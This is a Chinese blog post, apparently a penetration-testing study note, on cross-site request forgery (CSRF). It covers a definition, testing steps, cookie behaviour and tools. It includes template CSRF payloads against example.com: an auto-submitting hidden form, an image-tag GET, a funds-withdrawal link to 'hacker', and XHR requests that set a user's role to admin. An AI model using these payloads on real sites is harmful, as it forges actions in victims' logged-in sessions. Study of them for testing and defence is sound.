• WEB 渗透之CSRF


    CSRF

    1. 介绍

    1. 定义: CSRF 称为跨站请求伪造,攻击者诱导受害者进入第三方网站,在第三方网站中,先被攻击的网站发起跨站请求,利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户被攻击的网站执行某项操作的目的

    2. 产生原因

    3. 漏洞利用

    1. 攻击流程

    image-20220803103709065

    2. 常见的攻击类型

    攻击思路

    1. 查看有无token等验证身份的参数,删掉后是否返回正常
    2. 查看header中referer,origin参数,删掉后是否返回正常
    3. 使用csrftester/burpsuite生成表单,以另一账号和浏览器打开测试
    4. 去掉referer中域名后面的文件夹或文件
    5. 替换二级域名

    1. GET 类型

    1. 需要用户交互
    <a href="http://www.example.com/api/setusername?username=CSRFd">Click Mea>
    
    • 1
    1. 无用户交互
      <img src="http://www.example.com/api/setusername?username=CSRFd">
      
      • 1

    2. POST 类型

    1. 需要用户交互
    <form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
     <input name="username" type="hidden" value="CSRFd" />
     <input type="submit" value="Submit Request" />
    form>
    
    • 1
    • 2
    • 3
    • 4
    1. 不需要用户浇花:
      <form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
       <input name="username" type="hidden" value="CSRFd" />
       <input type="submit" value="Submit Request" />
      form>
       
      <script>
       document.getElementById("autosubmit").submit();
      script>
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8

    3. 链接类型

    1. 该类型的 CSRF 需要引导用户点击链接才会触发
      <a href="http://test.com/csrf/withdraw.php?amount=1000&for=hacker" taget="_blank">
          重磅消息!!
          <a/>
      
      • 1
      • 2
      • 3

    4. JSON GET

    <script>
    var xhr = new XMLHttpRequest();
    xhr.open("GET", "http://www.example.com/api/currentuser");
    xhr.send();
    script>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    5. JSON POST

    <script>
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "http://www.example.com/api/setrole");
    //application/json is not allowed in a simple request. text/plain is the default
    xhr.setRequestHeader("Content-Type", "text/plain");
    //You will probably want to also try one or both of these
    //xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    //xhr.setRequestHeader("Content-Type", "multipart/form-data");
    xhr.send('{"role":admin}');
    script>
    
    <script>
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "http://www.example.com/api/setrole");
    xhr.withCredentials = true;
    xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
    xhr.send('{"role":admin}');
    script>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    3. CSRF 特点

    1. 攻击一般发生在第三方网站
    2. 攻击是利用受害者在登陆网站的登录凭证,冒充受害者的提交操作
    3. 整个过程中攻击者仅仅是冒用受害者的登录凭证

    4. 浏览器的 Cookie 策略

    1. 介绍: Cookie 是服务器发送到用户浏览器并保存到本地上的一小块数据,会在浏览器下次访问的时候向同一服务器发起请求并发送到服务器上,Cookie 主要用户三个方面

      • 会话管理
      • 个性化设置
    2. 分类:

      1. Session Cookie (绘画器 Cookie) 最简单的 Cookie , 仅在会话期内有效,浏览器关闭之后会被自动删除

      2. Permanent Cookie (持久性 Cookie): 持久性 Cookie 可以指定一个特定的过期时间或有效期

      3. 举例:

        ('Set-Cookie', ['mycookie=222', 'test=3333; expires=Sat, 21 Jul 2018 00:00:00 GMT;']);
        
        • 1

        上述创建的 Cookie 中,mycookie 属于会话期 Cookie, test 属于持久性 Cookie。

        每个 Cookie 都会有与之关联的域,这个域的范围一般通过 domain 属性指定,如果 Cookie 的域和页面的域相同,那么这个 Cookie 称为 第一方 Cookie, 如果 Cookie 的域和页面的域不同,则称为第三方的 Cookie ,一个页面包含的图片或存放在其他域上的资源时,第一反应的 Cookie 也只会发送给设置他们的服务器

    5. 防护策略:

    前端安全系列之二:如何防止CSRF攻击?

    6. 相关靶场

    7. 相关工具

    1. CSRFTester-1.0

    8. 借鉴文章

    in.cn/post/6844903689702866952#heading-2)

    6. 相关靶场

    7. 相关工具

    1. CSRFTester-1.0

    8. 借鉴文章

    1. 前端安全系列之二:如何防止CSRF攻击?
  • 相关阅读:
    Webshell详解
    C系统编程:从零手搓一个shell
    Unity中Shader纹理的环绕方式
    QT 集成MQTT过程
    IOC操作Bean管理(基于注解方式)
    实用工具系列 - Pycharm安装下载使用
    项目交互-选择器交互
    C语言文件操作
    Linux源码安装软件包时--prefix的配置建议
    决策式AI与生成式AI
  • 原文地址:https://blog.csdn.net/weixin_53150482/article/details/126145135